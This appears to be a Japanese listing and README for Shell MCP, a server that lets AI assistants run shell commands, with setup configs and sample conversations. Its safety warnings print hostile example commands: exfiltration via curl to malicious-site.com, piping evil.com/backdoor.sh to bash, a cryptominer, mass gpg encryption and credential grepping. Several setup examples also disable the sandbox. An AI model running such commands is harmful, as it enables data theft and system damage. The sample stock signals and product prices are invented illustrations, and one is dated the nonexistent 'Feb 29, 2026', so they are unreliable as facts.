mcpField
S
Shell MCP

Shell MCP

ローカル
lucivuc.github.io開発ツール029 週間前に更新

Shell MCP について

Shell MCPは、AIアシスタントがMCP経由でシェルコマンドやシステム操作を実行できるサービスです。開発者やシステム管理者、自動化タスク向けで、サンドボックスの利用とコマンド確認を重視しています。

主な機能

  1. 01シェルコマンドの実行
  2. 02ファイルの読み書き
  3. 03システムリソースとプロセスの監視
  4. 04複雑なワークフローの自動化
  5. 05サンドボックスモード

活用シーン

  1. 01開発プロジェクトと依存関係のセットアップ
  2. 02システムリソースとプロセス状態の確認
  3. 03ログを分析して問題を整理
  4. 04制限されたファイルメンテナンスの実行

MCP 対応

MCP サーバーは、ファイル、リソース、プロセスの操作を含むシェル実行とシステム操作をAIアシスタントに公開します。

設定

ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。

mcp.json · 共通設定
{
"mcpServers": {
"shell": {
"command": "npx",
"args": [
"-y",
"@lucid-spark/shell-mcp"
],
"env": {
"ALLOW_SUDO": "<ALLOW_SUDO>",
"SUDO_PASSWORD": "<SUDO_PASSWORD>"
}
}
}
}
起動コマンドnpx -y @lucid-spark/shell-mcp
設定が必要な環境変数
ALLOW_SUDO
SUDO_PASSWORDシークレット

ローカルサーバーにはマシン上の実行環境(Node.js 18 以上など)が必要です。設定ファイルの場所はクライアントごとに異なります。

パッケージ
npm@lucid-spark/shell-mcp

ツール

7

掲載時のツール一覧 · 3 週間前に更新

パラメーター型必須説明
commandstringはい実行するシェルコマンド。単一のコマンド(例:`ls -la`)、パイプライン(例:`cat file.txt | grep pattern`)、複合式(例:`cd /tmp && ls`)を指定できます。コマンドは解釈のためシステムシェルに渡されます。空にはできません。

詳細

Shell MCP

シェルコマンドの実行とシステム操作機能を提供する、本番環境向けの MCP(Model Context Protocol)サーバーです。

📚 ドキュメントサイトの完全版を見る。インタラクティブな例やガイドで、より快適に閲覧できます。

目次

これは何ですか?

この MCP サーバーを使うと、AI アシスタント(Claude、ChatGPT、その他の AI エージェントなど)が、コンピューターのオペレーティングシステムを操作できるようになります。接続すると、AI アシスタントは次のことができます。

  • ユーザーに代わってシェルコマンドを実行する
  • ファイルを読み書きする
  • システムリソースやプロセスを監視する
  • 複雑なワークフローを自動化する
  • 株式市場の価格や取引シグナルを追跡する
  • Amazon やその他のオンライン小売業者の価格を検索・比較する
  • アプリケーションを起動し、ブラウザーを操作する
  • 自動タスクやルーティンをスケジュールする

システム管理、開発タスク、データ処理、財務モニタリング、オンラインショッピング、日々の自動化を支援するために、AI アシスタントに「手」を与えるものだと考えてください。すべてセキュリティ制御を維持したまま利用できます。

ファイルの整理のような簡単なタスクから、株式ポートフォリオの監視やオンラインで最もお得な商品を見つけるといった高度な自動化まで、AI アシスタントが強力な個人用自動化エンジンになります。

⚠️ 重要な免責事項と安全上の警告

🛑 使用前にお読みください

このソフトウェアは、AI アシスタントにシェルコマンドの実行機能を提供します。ご自身の責任でご使用ください。

免責事項
THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

この MCP サーバーを使用することで、以下について全責任を負うことを認め、受け入れるものとします。

  • AI アシスタントが実行するすべてのコマンド
  • 発生する可能性のあるデータ損失、システムの損傷、セキュリティ侵害
  • 自動取引や購入判断による金銭的損失
  • システムへの不正アクセスや悪意のある使用
  • 適用されるすべての法令および利用規約の遵守
⚠️ 重大なセキュリティ警告
🔴 極めて危険:サンドボックスなしのモード

このサーバーをサンドボックスモードなしで実行すると、AI アシスタントに次への無制限のアクセス権が与えられます。

  • ファイルシステム全体 - あらゆるファイルの読み取り、変更、削除が可能です
  • すべてのシステムコマンド - ユーザー権限であらゆるシェルコマンドを実行できます
  • ネットワークアクセス - 外部への接続、ファイルのダウンロード、データの送信が可能です
  • プロセス制御 - あらゆるプロセスの起動、停止、強制終了が可能です
  • 金融システム - 認証情報にアクセスできる場合、取引、購入、送金を実行できます
  • 個人データ - メール、ドキュメント、ブラウザー履歴、パスワード(ローカルに保存されている場合)にアクセスできます

SANDBOX_MODE=true を設定しない場合、AI アシスタントは、キーボードの前に座るあなたと同じ権限を持ちます。

🟡 サンドボックスモードでも起こり得る危険

データ損失:

  • AI が要求を誤解し、重要なファイルを削除する可能性があります
  • 自動スクリプトがデータを上書きしたり、破損させたりする可能性があります
  • 一括操作によって、多数のファイルにわたってエラーが連鎖する可能性があります

金銭的リスク:

  • 自動取引スクリプトが意図しない取引を実行する可能性があります
  • 価格監視が、誤ったデータや API エラーに基づいて動作する可能性があります
  • ショッピングの自動化によって、許可されていない購入が行われる可能性があります
  • API のレート制限により、予期しない費用が発生する可能性があります

システムの不安定化:

  • リソースを大量に消費するコマンドによって、システムがクラッシュする可能性があります
  • プロセスの終了によって、重要なサービスが停止する可能性があります
  • ディスク操作によって、ストレージがいっぱいになったり、ファイルシステムが破損したりする可能性があります

プライバシーの漏えい:

  • AI が誤って機密ファイルを読み取る可能性があります
  • ログにパスワードや API キーが含まれる可能性があります
  • 実行されたコマンドによって、環境変数が露出する可能性があります

AI による悪意ある動作:

  • AI アシスタントが侵害された場合、またはジェイルブレイクの脆弱性がある場合
  • プロンプトに悪意ある指示が挿入された場合
  • AI モデルが予期しない創発的な動作を示すようになった場合
  • ソーシャルエンジニアリングによって AI が操作された場合
🚨 AI エージェントがこのサーバーを悪用する方法
適切な安全対策がない場合:

シナリオ 1:データの持ち出し

# AI could be tricked into running:
curl -X POST https://malicious-site.com/upload \
  --data-binary @~/Documents/sensitive-data.pdf

シナリオ 2:暗号資産のマイニング

# AI starts background mining process:
nohup ./cryptominer --wallet=attacker-address &

シナリオ 3:バックドアの設置

# AI downloads and runs malicious script:
curl https://evil.com/backdoor.sh | bash

シナリオ 4:許可されていない金融取引

# If trading credentials are accessible:
python execute_trade.py --symbol=LOSS --amount=ALL --action=SELL

シナリオ 5:ランサムウェアのような動作

# AI encrypts files or moves them:
find ~/Documents -type f -exec gpg --encrypt {} \;

シナリオ 6:システムの破壊

# Filling disk space:
dd if=/dev/zero of=~/bigfile.img bs=1G count=100

シナリオ 7:認証情報の窃取

# Searching for sensitive data:
grep -r "password\|api_key\|secret" ~ > /tmp/credentials.txt
✅ 自分を守る方法
必須の安全対策:
  1. 必ず SANDBOX_MODE=true から始める

    # In your AI assistant config:
    "SANDBOX_MODE": "true"
    
  2. 権限を制限したユーザーで実行する

    • 権限を制限した専用のユーザーアカウントを作成します
    • root/管理者として実行しないでください
    • ファイルシステムのアクセス権限を使って、アクセスを制限します
  3. ネットワークを隔離する

    • ネットワークにアクセスできない Docker コンテナ内で実行します
    • ファイアウォールルールを使って、外向きの接続をブロックします
    • 不審なアクティビティがないか、ネットワークトラフィックを監視します
  4. 実行前にコマンドを確認する

    • まず AI にコマンドの説明を求めてください
    • 破壊的な操作を手動で確認します
    • 利用可能な場合は --dry-run フラグを使用します
  5. ファイルシステムの制限を設定する

    # Only allow access to specific directories
    # Use chroot, Docker volumes, or similar isolation
    
  6. 監視と監査を行う

    • すべてのコマンドを記録するため、DEBUG モードを有効にします
    • 不審なアクティビティがないか、定期的にログを確認します
    • 許可されていない操作に対するアラートを設定します
  7. 金融取引/トレーディングの自動化を制限する

    • 取引の認証情報を平文で保存しないでください
    • 可能な場合は読み取り専用の API キーを使用します
    • 取引の上限と承認ワークフローを設定します
    • トレーディングの自動化は、隔離されたシステムで行います
  8. 定期的にバックアップする

    • 重要なデータの最新のバックアップを維持します
    • バックアップからの復元を定期的にテストします
    • バックアップはオフライン、または変更不能なストレージに保存します
🔒 推奨されるセキュリティ設定

テスト/学習用:

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "10000",
  "DEBUG": "true"
}

個人利用(リスクの低いタスク):

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "30000",
  "DEBUG": "false"
}

本番環境/重要なシステム:

DO NOT USE THIS SERVER ON PRODUCTION SYSTEMS WITHOUT:
- Comprehensive security review
- Penetration testing
- Access control implementation
- Audit logging
- Incident response plan
⚖️ 法的および倫理的な考慮事項

以下を確実に遵守する責任は、利用者にあります:

  • コンピューター詐欺・不正利用に関する法律の遵守
  • 外部 API およびサービスの利用規約の遵守
  • データプライバシー規制(GDPR、CCPA など)の尊重
  • システムへのアクセスや変更に先立つ、適切な許可の取得
  • 自動化および AI の機能の倫理的な利用

トレーディングと金融取引の自動化:

  • 自動取引は、ブローカーの利用規約に違反する可能性があります
  • 自動実行された場合であっても、実行されたすべての取引について利用者が責任を負います
  • 市場操作は、ほとんどの法域で違法です
  • 自動取引を行う前に、専門家による金融アドバイスを求めてください

ウェブスクレイピングと自動化:

  • robots.txt とウェブサイトの利用規約を尊重します
  • 過剰なリクエストでサーバーに負荷をかけないでください
  • スクレイピングしたデータを商用利用する場合は、許可を取得します
  • 著作権および知的財産権に注意してください
🎓 教育と意識向上

このサーバーは、次の目的を想定しています:

  • 正当な自動化と生産性の向上
  • AI を活用した開発とシステム管理について学ぶこと
  • 管理された環境での個人プロジェクトや実験

このサーバーは、次の目的を想定していません:

  • コンピューターシステムへの不正アクセス
  • 悪意のある活動や危害を加えること
  • セキュリティ対策の回避
  • 法律、規制、または利用規約への違反
📞 インシデント対応

AI アシスタントが侵害された、または悪意のある動作をしていると疑われる場合:

  1. 直ちに切断する - MCP サーバーのプロセスを終了します
  2. ネットワークから切断する - イーサネットケーブルを抜くか、WiFi を無効にします
  3. ログを確認する - 実行されたコマンドを確認します
  4. マルウェアをスキャンする - ウイルス対策スキャンとセキュリティスキャンを実行します
  5. 認証情報を変更する - パスワードと API キーを更新します
  6. 必要に応じて報告する - データ侵害が発生した場合は、関係者に連絡します
最終警告

この MCP サーバーを使用することは、AI アシスタントにシステムへの大幅なアクセスを許可することを意味します。AI アシスタントは一般に有用で、指示に従いますが、次の可能性があります:

  • コマンドの解釈を誤る
  • プロンプトインジェクション攻撃に対して脆弱である
  • バグや予期しない動作がある
  • 文脈や意図を誤解する
  • 自らの行動に責任を負えない

最終的には、システム上で起こるすべてのことに対して、あなた自身が責任を負います。

迷ったときは、SANDBOX_MODE=true を使用し、実行前にコマンドを手動で確認してください。

実際のユースケース

開発者向け

シナリオ 1:プロジェクトのセットアップを自動化する

「TypeScript を使った新しい React プロジェクトをセットアップし、依存関係をインストールして、Git を初期化し、基本的なファイル構成を作成してください。」

AI アシスタントは、これらすべてのコマンドを実行し、必要な設定ファイルを作成して、セットアップを確認できます。繰り返し作業にかかる 15~20 分を節約できます。

シナリオ 2:コードの分析とリファクタリング

「プロジェクト内の TODO コメントをすべて見つけ、優先度別に分類して、Markdown レポートを作成してください。」

AI はコードベースを検索し、パターンを分析して、包括的なレポートを作成できます。

シナリオ 3:開発環境のデバッグ

「Docker コンテナが起動しない原因を調べてください。ログを確認し、ポートが利用可能かを検証して、システムリソースを確認してください。」

AI アシスタントは、診断コマンドを実行して結果を解釈し、問題を調査できます。

システム管理者向け

シナリオ 4:システムの状態監視

「包括的なヘルスチェックを実行してください。CPU 使用率、メモリ統計、ディスク容量、過剰なリソースを使用しているプロセスを確認してください。」

複数のコマンドを手動で実行することなく、解釈済みのシステム診断結果をすぐに取得できます。

シナリオ 5:ログ分析

「システムログの直近 100 行を確認してエラーを探し、問題を要約して、解決策を提案してください。」

AI はログを取得するだけでなく、パターンを分析して、実行可能な知見を提供できます。

シナリオ 6:メンテナンスの自動化

「古い Docker イメージをクリーンアップし、グローバルにインストールされた未使用の npm パッケージを削除して、30 日以上前のシステムキャッシュファイルを消去してください。」

自然言語で 1 回指示するだけで、複雑なクリーンアップ処理を実行できます。

データサイエンティストとアナリスト向け

シナリオ 7:データパイプラインの自動化

「この URL から CSV をダウンロードし、JSON に変換して、重複を削除し、今日の日付を付けて保存してください。」

AI が文脈を理解しながら、複数のデータ処理コマンドを連続して実行できます。

シナリオ 8:ファイルの一括処理

「data フォルダー内にあるすべての .csv ファイルを見つけ、行数を取得して、概要レポートを作成してください。」

繰り返し行うデータ探索タスクを自動化できます。

DevOps エンジニア向け

シナリオ 9:デプロイの検証

「アプリケーションがポート 8080 で実行されているか確認し、データベースへの接続を検証して、ヘルスエンドポイントをテストしてください。」

デプロイ後の検証を自動化し、インテリジェントに結果を解釈します。

シナリオ 10:リソースの最適化

「500MB を超える RAM を消費しているプロセスを見つけ、それらが何かを特定して、安全に終了できるものがあれば提案してください。」

AI の判断に基づく、プロアクティブなリソース管理です。

トレーダーや金融愛好家向け

シナリオ 11:株式市場のモニタリング

「Apple、Microsoft、Tesla の現在の株価を確認してください。いずれかの株価が 50 日移動平均線を下回ったら、知らせてください。」

AI は Python/Node.js スクリプトを実行したり、curl を使用して API(Alpha Vantage、Yahoo Finance など)からリアルタイムの株価データを取得したりして、トレンドを分析し、ポートフォリオを自動的に監視できます。

シナリオ 12:自動売買シグナル

「毎朝 9:30 に、上位 10 銘柄のテック株を分析し、時間外取引の値動きを確認して、テクニカル指標に基づく売買推奨を含む取引シグナルのレポートを作成してください。」

cron ジョブやスケジュールされたスクリプトを設定すれば、AI が市場データを取得し、テクニカル分析(RSI、MACD、ボリンジャーバンド)を実行して、実用的な分析結果を生成します。これらはすべて、シェルコマンドで自動化できます。

シナリオ 13:ポートフォリオの追跡

「NVDA を 1 株あたり 875 ドルで 10 株購入しました。値動きを追跡し、現在の損益を計算して、5% を超える利益または損失が発生したら知らせてください。」

AI はポートフォリオ追跡スクリプトを管理して、リアルタイムデータで更新し、投資状況をインテリジェントに要約して通知できます。

日常の自動化と生産性向上

シナリオ 14:スマートなブラウザー自動化

「Chrome を開いて、会社のダッシュボードに移動し、分析ページのスクリーンショットを撮って、レポートフォルダーに保存してください。」

macOS の open、Windows の start、Linux の xdg-open などのコマンドと、Puppeteer や Selenium スクリプトなどのツールを使うことで、AI はブラウザーのタスクを自動化し、データをスクレイピングして情報を取得できます。

シナリオ 15:アプリケーション管理

「Spotify を起動して『Focus』プレイリストを再生し、現在のプロジェクトを開いた VS Code を起動して、MongoDB サーバーを開始してください。」

AI は、アプリケーションの起動、AppleScript(macOS)、PowerShell スクリプト(Windows)、またはシェルコマンドの実行を通じて、作業環境全体を調整できます。ひとつの依頼で、理想の作業環境を整えられます。

シナリオ 16:ウェブ検索と調査

「『quantum computing breakthroughs 2026』の最新情報を複数の情報源から検索し、調査結果を要約して、Markdown ファイルに保存してください。」

curl、wget、または BeautifulSoup を使った Python スクリプトを利用することで、AI はウェブを検索し、複数の情報源から情報を集約して、調査レポートを自動的にまとめられます。

シナリオ 17:Amazon ショッピングアシスタント

「Amazon で評価の高い 200 ドル未満のワイヤレスヘッドホンを検索し、上位 5 件を価格とレビューで比較して、比較表を作成してください。」

AI は、Amazon の Product Advertising API またはウェブスクレイピングを使うスクリプトを実行して、次のことができます。

  • 条件に基づいて商品を検索する
  • 販売者ごとの価格を比較する
  • 価格の推移を追跡し、お得な商品を通知する
  • カスタマーレビューと評価を分析する
  • Amazon CLI ツールまたはスクリプトを通じて、購入を自動化することもできます(明示的な承認が必要です)

シナリオ 18:オンライン価格のモニタリング

「Amazon、B&H、Adorama で『Sony A7 IV camera』の価格を監視してください。6 時間ごとに確認し、2,300 ドルを下回ったら通知してください。」

AI が管理する価格追跡スクリプトを設定すれば、定期的に価格を確認し、値下がりやタイムセールを通知できます。

シナリオ 19:スマートな買い物リスト

「ラザニアの材料を買う必要があります。Amazon Fresh と地域の食料品配達サービスで最安値を検索して、最も安い商品を含む買い物リストを作成してください。」

AI は複数の情報源からデータを集約し、価格を比較して、API 呼び出しやウェブ検索を通じて買い物を自動化し、費用を節約できます。

シナリオ 20:複数のプラットフォームでの検索と購入

「スタンディングデスクが必要です。Amazon、IKEA、Wayfair で 300〜500 ドルの商品を検索し、評価が星 4.5 を超えるものに絞り込んで、比較用のスプレッドシートを作成してください。」

AI は複数のプラットフォームでの検索を調整し、データを標準化して条件を適用し、整理された結果を提示します。手作業での調査にかかる時間を大幅に削減できます。

実際の自動化例

朝のルーティン全体:

「おはようございます!株式ポートフォリオを確認し、夜間に大きな値動きがあれば教えてください。ブラウザーで Gmail とカレンダーを開き、開発環境を起動して、天気予報を教えてください。」

一日の終わりのワークフロー:

「仕事で使ったアプリをすべて閉じて、今日のコード変更をバックアップしてください。ウォッチリストに登録した Amazon の商品の値下がりがないか確認し、今日のシステムリソース使用状況を要約して、不要なサービスを終了してください。」

ショッピングの自動化:

「ノイズキャンセリングヘッドホン、メカニカルキーボード、ノート PC スタンドを購入する必要があります。それぞれ Amazon で、150 ドル、100 ドル、50 ドル未満の上位 3 件を探してください。比較して、最もお得な組み合わせを教えてください。」

AI アシスタントでの使い方

Claude Desktop

shell-mcp を Claude Desktop で設定する方法は 2 つあります。

オプション 1:ローカルインストール(開発におすすめ)
  1. サーバーをインストールします:

    git clone https://github.com/luciVuc/shell-mcp.git
    cd shell-mcp
    npm install
    npm run build
    
  2. Claude Desktop を設定します:

    Claude Desktop の設定ファイルを編集します:

    • macOS/Linux:~/Library/Application Support/Claude/claude_desktop_config.json
    • Windows:%APPDATA%\Claude\claude_desktop_config.json

    次の設定を追加します:

    {
      "mcpServers": {
        "shell": {
          "command": "node",
          "args": ["/absolute/path/to/shell-mcp/dist/main.js"],
          "env": {
            "SANDBOX_MODE": "false",
            "COMMAND_TIMEOUT": "30000"
          }
        }
      }
    }
    
  3. Claude Desktop を再起動します

オプション 2:npx を使用する(インストール不要)

プロジェクトをローカルにクローンしてビルドしたくない場合は、npx を使って npm から shell-mcp を直接実行できます。

インストールせずに設定する場合:

上記のように Claude Desktop の設定ファイルを編集し、次を追加します:

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

サンドボックスを有効にして本番環境で使用する場合:

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "true",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

注: 初回実行時に、npx がパッケージをダウンロードしてキャッシュします。2 回目以降の実行では、キャッシュされたバージョンを使用するため、起動が速くなります。

はじめに

どちらかのオプションを設定したら、次の手順に進みます:

  1. Claude Desktop を再起動します

  2. 使い始めます:

    「システムの CPU とメモリの使用状況を確認してもらえますか?」 「プロジェクトフォルダーをアーカイブするバックアップスクリプトを作成してください。」 「過去 1 週間に変更された JavaScript ファイルをすべて探してください。」

詳しい設定オプションと環境変数については、CLAUDE_SETUP.md を参照してください。

その他の MCP 対応 AI ツール

Model Context Protocol をサポートする AI アシスタントであれば、このサーバーを使用できます。

例:カスタム AI エージェント(Python)

from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

# Connect to the MCP server
server_params = StdioServerParameters(
    command="node",
    args=["/path/to/shell-mcp/dist/main.js"],
    env={"SANDBOX_MODE": "true"}
)

async with stdio_client(server_params) as (read, write):
    async with ClientSession(read, write) as session:
        # Initialize connection
        await session.initialize()

        # List available tools
        tools = await session.list_tools()

        # Execute a command
        result = await session.call_tool("exec", {
            "command": "df -h"
        })
        print(result)

例:Node.js AI エージェント

import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

// Create MCP client
const transport = new StdioClientTransport({
  command: "node",
  args: ["/path/to/shell-mcp/dist/main.js"],
  env: { SANDBOX_MODE: "true" },
});

const client = new Client(
  {
    name: "my-ai-agent",
    version: "1.0.0",
  },
  { capabilities: {} }
);

await client.connect(transport);

// Get system info
const result = await client.callTool({
  name: "getSystemInfo",
  arguments: {},
});

console.log(result);
AI エージェントでできること

接続すると、AI アシスタントは次の作業を支援できます。

システム操作:

  • CPU、メモリ、ディスクの使用状況を監視する
  • 実行中のプロセスとリソース消費量を確認する
  • システムの稼働時間と状態を確認する
  • システムログを分析する

ファイル管理:

  • ファイルを作成、読み取り、更新、削除する
  • 名前や内容からファイルを検索する
  • ファイル名を一括変更したり、ファイルを整理したりする
  • ファイルデータからレポートを生成する

開発タスク:

  • ビルドスクリプトとテストを実行する
  • 依存関係をインストールする
  • コードベースを検索する
  • git コマンドを実行する
  • アプリケーションをデプロイする

データ処理:

  • ファイルをダウンロードして処理する
  • 形式を相互に変換する
  • データを抽出して変換する
  • レポートと要約を生成する

自動化:

  • メンテナンスタスクをスケジュールして実行する
  • 複雑な複数ステップのワークフローを実行する
  • システムをバックアップする
  • 一時ファイルをクリーンアップする

デバッグと診断:

  • アプリケーションログを確認する
  • ネットワーク接続を確認する
  • API エンドポイントをテストする
  • エラーを調査する

会話の例

この MCP サーバーに接続すると、AI アシスタントとどのようにやり取りできるか、実際の例を紹介します。

例 1:システムの状態確認

あなた:「システムの状態を確認して、対応が必要なことがあれば教えてもらえますか?」

AI アシスタント: getSystemInfo ツールを使用し、続いて exec でディスク容量と実行中のプロセスを確認

「システム全体は正常です。

  • CPU:8 コア、現在の使用率は 23%
  • メモリ:合計 16GB、空き 8.2GB(51% 使用可能)
  • ディスク:合計 500GB、空き 127GB(25% — そろそろクリーンアップしたほうがよいかもしれません)
  • 稼働時間:5 日 3 時間

Docker Desktop が 3.2GB の RAM を使用していることに気づきました。削除できる未使用のコンテナーがあるか確認しましょうか?」

例 2:プロジェクトの分析

あなた:「~/projects/my-app に Node.js プロジェクトがあります。構成や潜在的な問題を分析して教えてもらえますか?」

AI アシスタント: listDir および readFile ツールを使用

「プロジェクトを分析しました。次のことがわかりました。

  • JavaScript ファイル 47 個、JSON 設定ファイル 12 個
  • 依存関係:本番用 23 個、開発用 15 個
  • 最終更新:package.json(2 時間前)
  • 潜在的な問題:
    • コード内に TODO コメントが 8 個見つかりました
    • 既知の脆弱性があるパッケージが 3 個あります(npm audit fix が必要です)
    • .env.example ファイルがありません(チームメンバー用に追加することをおすすめします)

詳細なレポートを作成するか、これらの問題の修正をお手伝いしましょうか?」

例3:データ処理

あなた:「今月の ~/data/sales/ にある CSV ファイルをまとめて、重複を削除し、概要を作成してもらえますか?」

AI アシスタント: listDir、readFile、exec、writeFile ツールを使用

「完了しました!売上データを処理しました。

  • CSV ファイルを4つ検出しました(sales_week1.csv から sales_week4.csv まで)
  • 結合後:合計1,247件のレコード
  • 削除:重複38件
  • 最終データセット:重複のない売上レコード1,209件
  • 作成:~/data/sales/february_2026_summary.csv

概要統計:

  • 総売上高:$47,382
  • 平均販売額:$39.12
  • 売上トップの商品:Widget Pro(237件)

結合したファイルは ~/data/sales/february_2026_summary.csv にあります」

例4:開発ワークフロー

あなた:「'dashboard' という名前で TypeScript を使用する新しい React プロジェクトをセットアップし、Tailwind CSS をインストールして、基本的なコンポーネント構成を作成してください。」

AI アシスタント: exec と writeFile ツールを使用

「プロジェクトのセットアップが完了しました!以下の作業を行いました。

  1. React + TypeScript プロジェクトを作成:✓
  2. Tailwind CSS をインストールして設定:✓
  3. コンポーネント構成を作成:
    • src/components/Header.tsx
    • src/components/Sidebar.tsx
    • src/components/Dashboard.tsx
    • src/pages/Home.tsx
  4. Git リポジトリを初期化:✓
  5. .gitignore を作成:✓

次に行うとよい作業:

  • 'npm run dev' を実行して開発サーバーを起動する
  • 認証を設定する
  • React Router でルーティングを追加する

ほかに何か追加しますか?」

例5:トラブルシューティング

あなた:「Web サーバーが起動しません。ポート3000で動作するはずです。原因を調べてもらえますか?」

AI アシスタント: exec と listProcesses ツールを使用

「問題が見つかりました!ポート3000はすでに使用中です。

ポート3000を使用中のプロセス:

  • PID:8472
  • コマンド:node old-server.js
  • 起動時刻:3日前

これは、まだ実行中の古いサーバーと思われます。選択肢は次のとおりです。

  1. このプロセスを終了する(こちらで実行できます)
  2. 新しいサーバーが別のポート(3001など)を使うように変更する
  3. 古いサーバーを引き続き実行しておく必要があるか確認する

どうしますか?」

例6:株式市場のモニタリングと売買シグナル

あなた:「テクノロジー株に興味があります。Apple、Microsoft、Google、NVIDIAの現在の株価を確認し、最近のパフォーマンスを基に、買い時と思われる銘柄があれば教えてもらえますか?」

AI アシスタント: exec ツールを使用して、API 経由で株価データを取得する Python スクリプトを実行

「テクノロジー株の現在の市場データを分析しました。

AAPL(Apple Inc.) - $178.45(本日 +2.3%)

  • 最近の傾向:強い上昇モメンタム
  • 50日移動平均:$172.30(現在は上回っており、強気シグナル)
  • RSI:58(中立、上昇の余地あり)
  • シグナル:✅ 中程度の買い
  • 注記:$177のレジスタンスを上抜けています

MSFT(Microsoft) - $412.80(本日 -0.8%)

  • 最近の傾向:高値からやや反落
  • 50日移動平均:$408.50(現在は上回っています)
  • RSI:52(中立)
  • シグナル:⏸️ 保有/注視
  • 注記:小幅な値固めが見られ、下落時は買いの機会となる可能性があります

GOOGL(Alphabet) - $145.20(本日 +1.1%)

  • 最近の傾向:安定した上昇
  • 50日移動平均:$141.80(上回っており、強気)
  • RSI:62(買われ過ぎに近づいています)
  • シグナル:⚠️ 注視
  • 注記:堅調ですが、短期的には割高になりつつあります

NVDA(NVIDIA) - $892.30(本日 +4.7%)

  • 最近の傾向:非常に強いモメンタム
  • 50日移動平均:$825.40(大きく上回っています)
  • RSI:71(やや買われ過ぎ)
  • シグナル:⚠️ 過熱
  • 注記:素晴らしい上昇ですが、値固めが必要になるかもしれません

最良の機会: MSFT が $405~408 の範囲まで下落すれば、最良のエントリーポイントと思われます。AAPL も上昇の余地があり、良好なモメンタムを示しています。

次の作業を行いましょうか?

  1. MSFT が $405 に達したときに通知する自動モニタリングを設定する
  2. 詳細なテクニカル分析レポートを作成する
  3. これらの株を追跡し、大きな変化があったときに通知する」
例 7:Amazon スマートショッピングアシスタント

あなた:「300 ドル以下で、良質なワイヤレスノイズキャンセリングヘッドホンを買いたいです。Amazon でおすすめの商品を探してもらえますか?」

AI アシスタント: exec ツールを使用して、ウェブスクレイピングスクリプトまたは Amazon API 連携を実行します

「Amazon で 300 ドル以下のワイヤレスノイズキャンセリングヘッドホンを検索しました。おすすめの上位 5 件はこちらです。

1. Sony WH-1000XM5 - $279.99 ⭐⭐⭐⭐⭐

  • 評価:4.7/5(18,432 件のレビュー)
  • 特徴:業界最高水準の ANC、30 時間バッテリー、マルチポイント接続
  • 価格履歴:現在、平均価格より 20 ドル安くなっています
  • ✅ 総合ベスト - ご予算の上限で手に入るプレミアムな品質

2. Bose QuietComfort 45 - $249.00 ⭐⭐⭐⭐⭐

  • 評価:4.6/5(12,891 件のレビュー)
  • 特徴:優れた ANC、24 時間バッテリー、長時間の装着でも快適
  • 価格履歴:過去最安値です!
  • 💰 コスパ最強 - 今なら大幅値下げ中です

3. Apple AirPods Max - $449.00 ❌(予算超過)

  • 評価:4.8/5(8,234 件のレビュー)
  • 予算を超えていますが、20% オフのセール通知があるため紹介します

4. Sennheiser Momentum 4 - $289.99 ⭐⭐⭐⭐⭐

  • 評価:4.5/5(6,721 件のレビュー)
  • 特徴:60 時間バッテリー! 優れた音質、良好な ANC
  • 🔋 バッテリー持続時間が最長

5. Anker Soundcore Space Q45 - $129.99 ⭐⭐⭐⭐

  • 評価:4.4/5(9,156 件のレビュー)
  • 特徴:50 時間バッテリー、この価格帯では優れた ANC、アダプティブ機能
  • 💵 予算重視ならこれ - 価格に対する価値が最高です

おすすめ: 最高の製品をお求めなら:Sony WH-1000XM5(ノイズキャンセリング性能が最高) お得な商品をお求めなら:Bose QC45(現在 249 ドルで驚きの価格です!)

追加情報:

  • Bose QC45 は現在、過去 90 日間で最安値です。購入するのに絶好のタイミングです!
  • Sony WH-1000XM5 はめったにセールにならないため、280 ドルは非常に妥当な価格です
  • すべての商品で Prime の送料無料を利用できます

次のことを行いましょうか?

  1. いずれかの商品をカートに追加する
  2. よりお得な価格を待つ場合に備えて、価格アラートを設定する
  3. さらに節約できるよう、整備済み品や開封済み品を検索する
  4. Best Buy やほかの小売店の類似商品と比較する」
例 8:朝の市場チェックを自動化

あなた:「平日の毎朝 9:00 に、株式ポートフォリオと市場ニュースを確認して、取引ダッシュボードを開く朝のルーティンを設定してもらえますか?」

AI アシスタント: writeFile を使用してスクリプトを作成し、exec で cron ジョブを設定します

「朝の市場チェックを包括的に自動化しました!設定内容はこちらです。

作成したファイル: ~/scripts/morning-market-routine.sh

平日の毎朝 9:00 に行う処理:

  1. ✅ ポートフォリオのデータを取得します(AAPL、MSFT、NVDA、GOOGL の保有銘柄)
  2. ✅ 夜間の損益を計算します
  3. ✅ 主要な市場指数を確認します(S&P 500、NASDAQ、DOW)
  4. ✅ 注目の株式と暗号資産を上位 5 件取得します
  5. ✅ 財務ニュースから保有銘柄のティッカーシンボルを検索します
  6. ✅ Chrome で TradingView のダッシュボードを開きます
  7. ✅ 要約レポートを作成し、ターミナルに送信します

スケジュール: 平日の午前 9:00(EST)に実行する cron ジョブをインストールしました

明日表示される内容の例:

═══════════════════════════════════════════
📊 MORNING MARKET BRIEFING - Feb 29, 2026
═══════════════════════════════════════════

YOUR PORTFOLIO:
  Total Value: $48,320 (+$420 overnight, +0.88%)

  AAPL: 25 shares @ $178.45 → $4,461 (+1.2%)
  MSFT: 10 shares @ $412.80 → $4,128 (-0.3%)
  NVDA: 15 shares @ $892.30 → $13,384 (+2.1%)
  Cash: $26,347

